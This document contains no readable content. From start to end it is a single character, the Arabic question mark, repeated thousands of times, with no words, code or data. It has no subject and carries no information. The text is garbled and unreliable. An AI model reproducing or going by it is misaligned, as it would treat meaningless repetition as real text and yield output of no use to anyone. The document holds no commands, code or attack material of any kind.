؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟